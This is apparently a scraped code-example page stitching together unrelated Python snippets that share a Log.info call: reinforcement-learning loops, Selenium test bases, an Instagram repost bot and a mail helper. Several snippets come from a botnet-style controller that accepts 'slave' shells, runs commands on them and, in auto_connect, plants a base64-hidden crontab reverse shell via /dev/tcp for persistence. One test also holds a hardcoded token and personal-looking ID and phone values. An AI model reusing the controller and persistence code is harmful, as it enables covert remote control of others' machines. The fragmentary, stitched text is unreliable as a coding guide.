Ejemplo n.º 1
0
 def send_command_print(self, command):
     print((">>>>>> %s") % command)
     self.send_command(command)
     time.sleep(0.5)
     Log.info("Receving data from socket...")
     result = recvall(self.socket_fd)
     Log.success(result)
def master(host, port):
    Log.info("Master starting at %s:%d" % (host, port))
    master_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    master_fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    master_fd.bind((host, port))
    master_fd.listen(MAX_CONNECTION_NUMBER)
    while (True):
        if EXIT_FLAG:
            break
        slave_fd, slave_addr = master_fd.accept()
        Log.success("\r[+] Slave online : %s:%d" %
                    (slave_addr[0], slave_addr[1]))
        repeat = False
        for i in slaves.keys():
            slave = slaves[i]
            if slave.hostname == slave_addr[0]:
                repeat = True
                break
        if repeat:
            Log.warning("Detect the same host connection, reseting...")
            slave_fd.shutdown(socket.SHUT_RDWR)
            slave_fd.close()
        else:
            slave = Slave(slave_fd)
            slaves[slave.node_hash] = slave
    Log.error("Master exiting...")
    master_fd.shutdown(socket.SHUT_RDWR)
    master_fd.close()
Ejemplo n.º 3
0
class Evaluator:
    def __init__(self, config, model):
        self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
        self.model = model.to(self.device)
        self.model = torch.load(config.model_path, map_location=self.device)
        self.logger = Log()

    def evaluate(self, data):
        desc = '[Evaluate]'
        batch_iterator = tqdm(data, desc=desc, ncols=100)
        pre_list = []
        label_list = []
        logits_list = []
        prob_list = []
        with torch.no_grad():
            self.model.eval()
            for i, batch in enumerate(batch_iterator):
                batch = {key: value.to(self.device) for key, value in batch.items()}
                logits, prob = self.model(batch)
                _, pre = torch.max(logits, 1)
                pre_list += pre.cpu().numpy().tolist()
                label_list += batch['label'].cpu().numpy().tolist()
                logits_list += logits.cpu().numpy().tolist()
                prob_list += prob.cpu().numpy().tolist()
        result = {
            'acc': accuracy_score(label_list, pre_list),
            'f1': f1_score(label_list, pre_list, average='macro')
        }
        self.logger.info('Evaluate', 'evaluation score is %.4f' % result['acc'])
        self.logger.info('Evaluate', 'evaluation f1 is %.4f' % result['f1'])
        return result
Ejemplo n.º 4
0
    def get(self, url, params):
        """get请求。

        如果请求出错,则返回None。
        """
        # 检查传入的url
        if url is None:
            Log.error("get请求错误:url为空!!!")
            return None

        # 检查传入的参数
        try:
            params_dict = json.loads(params)
        except Exception as e:
            Log.error("get请求错误:参数格式错误!!!" + str(repr(e)))
            return None

        # get请求
        try:
            r = requests.get(url,
                             params=params_dict,
                             headers=self.headers,
                             timeout=5)
        except Exception as e:
            Log.error("get请求异常,异常提示:" + str(repr(e)))
            return None

        if r.status_code != 200:
            Log.error("get请求响应错误:%d" % r.status_code)
            return None

        # 如果都没有错误,返回请求结果
        Log.info("get请求成功!")
        return r.text
 def auto_connect(self, target_host, target_port):
     # 1. Save old crontab
     Log.info("Saving old crontab")
     chars = string.letters + string.digits
     target_file = "/tmp/%s-system.server-%s" % (random_string(
         0x20, chars), random_string(0x08, chars))
     self.save_crontab(target_file)
     # 2. Delete old reverse shell tasks
     Log.info("Removing old tasks in crontab...")
     command = 'sed -i "/bash/d" %s' % (target_file)
     self.send_command(command)
     # 3. Add a new task
     content = '* * * * * bash -c "bash -i &>/dev/tcp/%s/%d 0>&1"\n' % (
         target_host, target_port)
     Log.info("Add new tasks : %s" % (content))
     command = 'echo "%s" | base64 -d >> %s' % (
         content.encode("base64").replace("\n", ""), target_file)
     self.send_command(command)
     # 4. Rescue crontab file
     Log.info("Rescuing crontab file...")
     command = 'crontab %s' % (target_file)
     self.send_command(command)
     # 5. Delete temp file
     Log.info("Deleting temp file...")
     command = "rm -rf %s" % (target_file)
     self.send_command(command)
     # 6. Receving buffer data
     print recvall(self.socket_fd)
Ejemplo n.º 6
0
    def __url_check(self, url=None, urls=[]):
        """
        Checks if the given url exists.

        Parameters
        ----------
        url: str
            The .onion url
        urls: list
            The result list
        """

        try:

            http_status = urllib2.urlopen(url).getcode()

            if http_status < 400:
                html = urllib2.urlopen(url).read()
                parser = HtmlParser(html)
                title = parser.get_title()

                Log.info("Found: \033[1m{}{} | {}{}\033[0m".format(
                    Fore.GREEN, title, url, Fore.RESET))
                urls.append(url)

        except urllib2.URLError:
            pass
Ejemplo n.º 7
0
class MyTestCase(unittest.TestCase):
    """
    The base class is for all test cases. This is a father .
    """
    success = "SUCCESS   "
    fail = "FAIL   "
    logger = Log()

    def setUp(self):
        self.logger = Log()
        self.logger.info(
            '############################### START ###############################'
        )
        # chrome_options = Options()
        # chrome_options.add_argument('--headless')
        # self.driver = webdriver.Chrome(options=chrome_options, executable_path=driver_path + "\\" + "chromedriver.exe")
        self.driver = webdriver.Chrome(driver_path + "\\" + "chromedriver.exe")
        self.driver.maximize_window()
        self.driver.set_window_size(1920, 1080)
        self.driver.implicitly_wait(30)

    def tearDown(self):
        time.sleep(2)
        # self.driver.quit()
        self.logger.info(
            '###############################  END  ###############################'
        )

    @staticmethod
    def my_print(msg):
        logger.info(msg)
Ejemplo n.º 8
0
def post():
    caption = '''
Tag your friends
• ➖➖➖➖➖➖➖➖➖➖
🎈Double Tap ❤
🎈Share and TAG your buddies who love to travel
➖➖➖➖➖➖➖➖➖➖
🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹
‼ Follow @{myAccount}
‼ Follow @{myAccount}
‼ Follow @{myAccount}
🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹
Credit : @{pictureOwner}
.
.
{hashtags}
'''.format(myAccount=username,
           pictureOwner=popularPost["owner"],
           hashtags=' '.join(popularPost["hashtags"]))
    print("\n")
    Log.info("Posting " + popularPost["path"])
    print("\n")
    bot.upload_photo(popularPost["path"], caption=caption)
    Log.success("Posted!")
    os.remove(popularPost["path"] + '.REMOVE_ME')
Ejemplo n.º 9
0
def login():
    passwordToPrint = ""

    for i in range(len(password)):
        passwordToPrint += "*"
    print("=" * 50)
    print("\n")
    Log.warning("Logging in...")
    print("\n")
    Log.info("Username: "******"Password: "******"\n")
    if (useProxy):
        try:
            bot.login(username=username, password=password, proxy=proxy_url)
        except AssertionError:
            os.remove('config/' + username + '_uuid_and_cookie.json')
            bot.login(username=username, password=password, proxy=proxy_url)
    else:
        try:
            bot.login(username=username, password=password)
        except AssertionError:
            os.remove('config/' + username + '_uuid_and_cookie.json')
            bot.login(username=username, password=password)
    Log.success("Logged In as " + username)
    print("\n")
Ejemplo n.º 10
0
class MyTestCase(unittest.TestCase):
    """
    The base class is for all testcase.
    """
    success = "SUCCESS   "
    fail = "FAIL   "
    logger = Log()

    def setUp(self):
        self.logger = Log()
        self.logger.info(
            '############################### START ###############################'
        )
        self.driver = webdriver.Chrome(
            "C:\\Users\\Administrator\\AppData\Local\\Google\Chrome\\Application\\chromedriver.exe"
        )

        # self.driver = webdriver.Chrome(driver_path+'\\'+'chromedriver.exe')

        self.driver.implicitly_wait(30)
        self.driver.maximize_window()

    def tearDown(self):
        time.sleep(5)
        self.driver.quit()
        self.logger.info(
            '###############################  End  ###############################'
        )

    def my_print(self, msg):
        logger.info(msg)
Ejemplo n.º 11
0
def deleteProfile(configProfileFolder):
    Screen.clear()
    Screen.welcomeAscii()
    print("\n")
    Log.warning("Delete Profile")
    print("\n")
    profiles = []
    i = 1
    for f in os.listdir(configProfileFolder):
        profiles.append(f)
        Log.info(str(i) + ". " + f.replace("_settings.ini", ""))
        i += 1
    Log.error(str(i) + ". Go Back")
    choice = int(input("\n=> "))
    if (choice == i):
        start()
    else:
        print("\n")
        Log.error(profiles[choice - 1])
        os.remove(configProfileFolder + profiles[choice - 1])
        try:
            os.remove('config/' +
                      profiles[choice - 1].replace("_settings.ini", "") +
                      '_uuid_and_cookie.json')
            os.remove('config/' +
                      profiles[choice - 1].replace("_settings.ini", "") +
                      '.checkpoint')
        except:
            pass
        time.sleep(1)
        start()
Ejemplo n.º 12
0
 def get(self, url):
     try:
         self.driver.get(url)
         Log.info('navigate to [%s]' % url)
     except:
         Log.error('can not navigate to [%s]' % url)
         raise
Ejemplo n.º 13
0
class Config:
    """
    Configuration settings
    """
    def __init__(self, file=None):
        if not file:
            file = os.path.abspath(os.curdir) + "/config.ini"

        self.log = Log().handle(__name__)
        self.log.info(f"Config file: {file}")

        self.config = configparser.ConfigParser(allow_no_value=True)
        self.config.read(file)

    def settings(self, section, field=None):
        settings = self.config.items(section)

        try:
            settings = self.config.items(section)
        except Exception as e:
            self.log.error(f"Script exited with error: [{e}]")
            sys.exit(1)

        if field:
            try:
                section_settings = dict(settings)[field.lower()]
            except Exception as e:
                self.log.error(f"Script exited with error: [{e}]")
                sys.exit(1)

        self.log.debug(
            f"Config settings for {section}:{field} is {section_settings}")

        return section_settings
Ejemplo n.º 14
0
class createWayBill(unittest.TestCase):
    '''新增运单'''
    def setUp(self):
        self.logger = Log()
        self.logger.info(
            '############################### START ###############################'
        )
        config = ReadYaml('./config/httpconfig.yaml').getValue()
        self.url = "http://{0}:{1}/tms/api/tms/wayBill/createWayBill".format(
            config['host'], config['port'])
        self.token = 'eyJlbmNyeXB0ZWREYXRhIjoicFBveUZESkVKR0FWOWpOanVqNGlDRG1uSHNrOWhyVDJRZ2NiTU1LWnBZSXRsZzdFQkVFMFJoR2FzNHMzMXd3SndXb1NVSjJ2Nm1uYjNNdGJ3S1BZcE14UDN5VnNwekh5K05vYzdzd0xTNnhnWEVtWXJUaHlEcGhNY3BMZWFYNjVGa0hsVkFFak80WFk3M1hhbmNkRnF2aVptSWVyOTlKazhucXNjMkZKTkhTTlo2b0RDdTh2VFRyaGxOQzdpUEFlZ1pOK25ZTTZtQkRHUkVJM3dEUEtwWVE5a1RmUXBiczJlbkwvTHZqQWR1Zz0iLCJ3cmFwcGVkS2V5Ijoib1hVN05xNWxsbnVLWUduZEtoc1dtVHpOeSs2RmdhaTFnY0pLeE82NnJ3dTJPMXVhL3dpVzVqTEx2d1NlUEk3N2s2RVFsZ1l0NFVlN2Q2QTVyK0NuTHc9PSJ9'
        self.headers = {
            'Content - Type': 'multipart/form-data',
            'User-Agent':
            'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36',
            'token': self.token
        }

    def tearDown(self):
        self.logger.info(
            '################################ END ################################'
        )

    @parameterized.expand([
        ("34252919880328581x", '13077327043', '京A19901'),
        ("34252919880328581x", '13077327043', '京A19901'),
        ("34252919880328581x", '13077327043', '京A19901'),
    ])
    def test_createWayBill_success(self, idNo, mobile, carNo):
        '''成功新增运单'''
        payload = {
            "idNo": '34252919880328581x',
            "mobile": '13077327043',
            "carNo": '京A19901',
            "applyDate": '2017-08-05',
            "partnerNo": 'ShiDeTang',
            "sendCity": '北京',
            "sendProvince": '北京',
            "arriveProvince": '天津',
            "arriveCity": '天津',
            "realName": '王锡聪',
            "carType": '2',
            "income": '0.1',
            "supplierName": '',
            "supplierId": '',
            "totalAmt": '0.1',
            "preAmt": '0.01',
            "oilAmt": '0.02',
            "destAmt": '0.03',
            "lastAmt": '0.04',
            "projects": '快递20170804002',
            "hasReceipt": '1',
            "content": '',
            "source": 'TMS'
        }
        request = requests.post(self.url, payload, headers=self.headers)
        response = request.json()
        print(response)
        self.assertEqual(response['code'], 1)
Ejemplo n.º 15
0
 def clear(self, pageName, objectName):
     try:
         self.getElement(pageName, objectName).clear()
         Log.info('clear the [%s] in [%s]' % (objectName, pageName))
     except:
         Log.error('can not clear the [%s] in [%s]' %
                   (objectName, pageName))
         raise
Ejemplo n.º 16
0
 def switch_to_frame(self, pageName, objectName):
     try:
         frame = self.getElement(pageName, objectName)
         self.driver.switch_to.frame(frame)
         Log.info('switch to [%s] in [%s]' % (objectName, pageName))
     except:
         Log.error('can not switch to [%s] in [%s]' %
                   (objectName, pageName))
         raise
Ejemplo n.º 17
0
 def set_taskid_options(self, taskid, options):
     '''通过taskid设置url,data等'''
     option_set_api = self.server + '/option/' + taskid + '/set'
     status = requests.post(option_set_api,
                            json=options,
                            headers=self.headers).json()
     if status['success']:
         Log.info('设置参数成功')
         return True
Ejemplo n.º 18
0
 def send_key(self, pageName, objectName, data):
     try:
         self.getElement(pageName, objectName).send_keys(data)
         Log.info('send [%s] to [%s] in [%s]' %
                  (data, objectName, pageName))
     except:
         Log.error('can not send [%s] to [%s] in [%s]' %
                   (data, objectName, pageName))
         raise
Ejemplo n.º 19
0
 def openBrowser(self):
     if self.browser == 'chrome':
         self.driver = webdriver.Chrome()
     elif self.browser == 'firefox':
         self.driver = webdriver.Firefox()
     else:
         Log.error('no such browser [%s]' % self.browser)
         raise Exception('no such browser [%s]' % self.browser)
     Log.info('open browser [%s]' % self.browser)
Ejemplo n.º 20
0
 def _find_new_file(self, dir):
     """查找目录下最新的文件"""
     file_lists = os.listdir(dir)
     file_lists.sort(key=lambda fn: os.path.getmtime(dir + "\\" + fn)
                     if not os.path.isdir(dir + "\\" + fn) else 0)
     # print('最新的文件为: ' + file_lists[-1])
     file = os.path.join(dir, file_lists[-1])
     Log.info('最新的测试报告为:' + str(file))
     return file
Ejemplo n.º 21
0
def main():
    env = gym.make('CartPole-v1')
    model = PPO()
    score = 0.0
    print_interval = 20

    log = Log(__file__[:-3])

    wandb.init(project="dgdfhdfh")
    wandb.watch(model)

    for n_epi in range(600):
        s = env.reset()
        done = False
        epsilon = max(0.01, args.epsilon - 0.01 * (n_epi / 200))
        loss_temp = 0.0
        while not done:
            for t in range(args.T_horizon):
                prob = model.pi(torch.from_numpy(s).float())
                m = Categorical(prob)
                a = m.sample().item()

                coin = random.random()
                if coin < epsilon:
                    a = random.randint(0, 1)

                s_prime, r, done, info = env.step(a)

                model.put_data(
                    (s, a, r / 100.0, s_prime, prob[a].item(), done))
                s = s_prime

                score += r

                if done:
                    break

            loss_temp += model.train_net()

        if n_epi % print_interval == 0 and n_epi != 0:
            log.info("episode :{}, avg score : {:.1f}".format(
                n_epi, score / print_interval))
            wandb.log({
                'score': score / print_interval,
                'epsilon': epsilon,
                'loss': loss_temp / print_interval
            })
            score = 0.0

        if n_epi % 500 == 0 and n_epi != 0:
            saved_model_name = 'ppo' + str(n_epi) + '.pt'
            torch.save(model.state_dict(),
                       os.path.join(wandb.run.dir, saved_model_name))

    env.close()
Ejemplo n.º 22
0
class Mail(object):
    '''
    classdocs
    '''
    def __init__(self, from_addr, to_addrs):
        self.logger = Log().getLogger("Mail")
        self.from_addr = from_addr
        self.to_addrs = to_addrs

    def set_from_addr(self, from_addr):
        self.from_addr = from_addr

    def set_to_addrs(self, to_addrs):
        self.to_addrs = to_addrs

    def init_smtp(self, from_addr, to_addrs):
        self.smtp = smtplib.SMTP('mail.emea.nsn-intra.net')
        self.message = MIMEMultipart()
        self.message['From'] = from_addr
        self.message['To'] = to_addrs

    def close_smtp(self):
        self.smtp.close()

    def create(self, subject, content, attachment=None, subtype='plain'):
        self.init_smtp(self.from_addr, self.to_addrs)
        self.add_mail_subject(subject)
        if content:
            self.add_mail_content(content, subtype)
        if attachment:
            self.add_mail_attach(attachment)

    def send(self):
        self.logger.debug('From: ' + self.from_addr + ' To:' + self.to_addrs +
                          ' Message:' + self.message.as_string())
        self.smtp.sendmail(self.from_addr, self.to_addrs,
                           self.message.as_string())
        self.close_smtp()

    def add_mail_subject(self, subject):
        self.message['Subject'] = subject

    def add_mail_content(self, content_str, subtype):
        mail_msg = MIMEText(content_str, subtype)
        self.message.attach(mail_msg)

    def add_mail_attach(self, attach_list):
        for filename in attach_list:
            source_file = open(filename, 'rb')
            attachment = MIMEApplication(source_file.read())
            attachment.add_header('Content-Disposition',
                                  'attachment',
                                  filename=os.path.basename(filename))
            self.message.attach(attachment)
            self.logger.info('add %s as attachment' % filename)
Ejemplo n.º 23
0
    def connect(self):
        try:
            uri = "neo4j://{}:{}".format(self.host, self.port)
            user = self.user
            password = self.password

            self.driver = GraphDatabase.driver(uri, auth=(user, password))
            Log.info("Conexão estabelecida com sucesso!", "success",
                     "Connector")
        except:
            Log.info("Ocorreu algum erro!", "error", "Connector")
Ejemplo n.º 24
0
def print_command(user_fd):
    msg = '''    [show/s] : show all slave
    [i] : open a interactive shell (after choose)
    [del] : delete the slave (after choose)
    [choose/c] : choose a slave
    [name xxxx] : rename a slave (after choose)
    [check/ck] : check all slave alive
    [recent/r] : To print Recent connect log
    [add xxxx] : add crontab, if not xxxx then default bash shell (after choose)
    [exit] : exit\n'''
    Log.info(msg, user_fd)
Ejemplo n.º 25
0
 def system_token(self, command):
     token = random_string(0x10, string.letters)
     payload = "echo '%s' && %s ; echo '%s'\n" % (token, command, token)
     Log.info(payload)
     self.send_command(payload)
     time.sleep(0.2)
     result = recvall(self.socket_fd)
     print(("%r") % (result))
     if len(result.split(token)) == 3:
         return result.split(token)[1]
     else:
         return "Somthing wrong"
Ejemplo n.º 26
0
def main():
    env = gym.make('CartPole-v1')
    model = PPO()
    score = 0.0
    print_interval = 20

    log = Log(__file__[:-3])

    experiment = Experiment(api_key="F8yfdGljIExZoi73No4gb1gF5",
                            project_name="reinforcement-learning",
                            workspace="zombasy")

    experiment.set_model_graph(model)

    for n_epi in range(2000):
        s = env.reset()
        done = False
        epsilon = max(0.01, args.epsilon - 0.01 * (n_epi / 200))
        while not done:
            for t in range(args.T_horizon):
                prob = model.pi(torch.from_numpy(s).float())
                m = Categorical(prob)
                a = m.sample().item()

                coin = random.random()
                if coin < epsilon:
                    a = random.randint(0, 1)

                s_prime, r, done, info = env.step(a)

                model.put_data(
                    (s, a, r / 100.0, s_prime, prob[a].item(), done))
                s = s_prime

                score += r

                if done:
                    break

            model.train_net()

        if n_epi % print_interval == 0 and n_epi != 0:
            log.info("episode :{}, avg score : {:.1f}".format(
                n_epi, score / print_interval))
            experiment.log_metric('score', score / print_interval)
            experiment.log_metric('epsilon', epsilon)
            score = 0.0

        if n_epi % 500 == 0 and n_epi != 0:
            save_model(model, 'ppo', n_epi, experiment)

    env.close()
Ejemplo n.º 27
0
def main():
    env = gym.make('CartPole-v1')
    model = PPO()
    score = 0.0
    loss_temp = 0.0
    print_interval = 20

    log = Log(__file__[:-3])

    neptune.init('sunyong/sandbox')
    neptune.create_experiment(name='minimal_example')

    for n_epi in range(2000):
        s = env.reset()
        done = False
        epsilon = max(0.01, args.epsilon - 0.01 * (n_epi / 200))
        while not done:
            for t in range(args.T_horizon):
                prob = model.pi(torch.from_numpy(s).float())
                m = Categorical(prob)
                a = m.sample().item()

                coin = random.random()
                if coin < epsilon:
                    a = random.randint(0, 1)

                s_prime, r, done, info = env.step(a)

                model.put_data(
                    (s, a, r / 100.0, s_prime, prob[a].item(), done))
                s = s_prime

                score += r

                if done:
                    break

            loss_temp += model.train_net()

        if n_epi % print_interval == 0 and n_epi != 0:
            log.info("episode :{}, avg score : {:.1f}".format(
                n_epi, score / print_interval))
            neptune.log_metric('score', score / print_interval)
            neptune.log_metric('epsilon', epsilon)
            neptune.log_metric('loss', loss_temp / print_interval)
            score = 0.0
            loss_temp = 0.0

        if n_epi % 500 == 0 and n_epi != 0:
            saved_model_name = 'ppo' + str(n_epi) + '.pt'

    env.close()
Ejemplo n.º 28
0
def print_salve(user_fd):
    i = 0
    for key in slaves.keys():
        info = slaves[key].getinfo()
        sinfo = '[' + str(i) + '] '
        for m in info:
            sinfo += str(m) + ' '
        sinfo += '\n'
        Log.info(sinfo, user_fd)
        i += 1
    if i == 0:
        msg = 'Do not have slaves, you can check the log\n'
        Log.warning(msg, user_fd)
Ejemplo n.º 29
0
 def remove_crontab(self, pattern, user_fd):
     # 1. Save old crontab
     Log.info("Saving old crontab\n", user_fd)
     chars = string.ascii_letters + string.digits
     target_file = "/tmp/%s-system.server-%s\n" % (random_string(
         0x20, chars), random_string(0x08, chars))
     self.save_crontab(target_file)
     # 2. Delete old reverse shell tasks
     Log.info("Removing old tasks in crontab...\n", user_fd)
     command = 'sed -i "/%s/d" %s\n' % target_file
     try:
         fd_send(self.socket_fd, command)
     except socket.error:
         self.del_socket()
     # 4. Rescue crontab file
     Log.info("Rescuing crontab file...\n", user_fd)
     command = 'crontab %s\n' % target_file
     try:
         fd_send(self.socket_fd, command)
     except socket.error:
         self.del_socket()
     # 5. Delete temp file
     Log.info("Deleting temp file...\n", user_fd)
     command = "rm -rf %s\n" % target_file
     try:
         fd_send(self.socket_fd, command)
     except socket.error:
         self.del_socket()
Ejemplo n.º 30
0
def scrapeHashtag():
    global popularPost
    print("=" * 50)
    print("\n")
    labelBuffer = input("Hashtag: ")
    label = labelBuffer.replace("#", "")
    Screen.clear()
    Log.success("Analyzing #" + label)
    popularPost = Instagram.searchHashtag(label)
    print("\n")
    Log.info("Owner: @" + popularPost["owner"])
    Log.info("Likes: " + str(popularPost["likes"]))
    print("\n")
    print("=" * 50)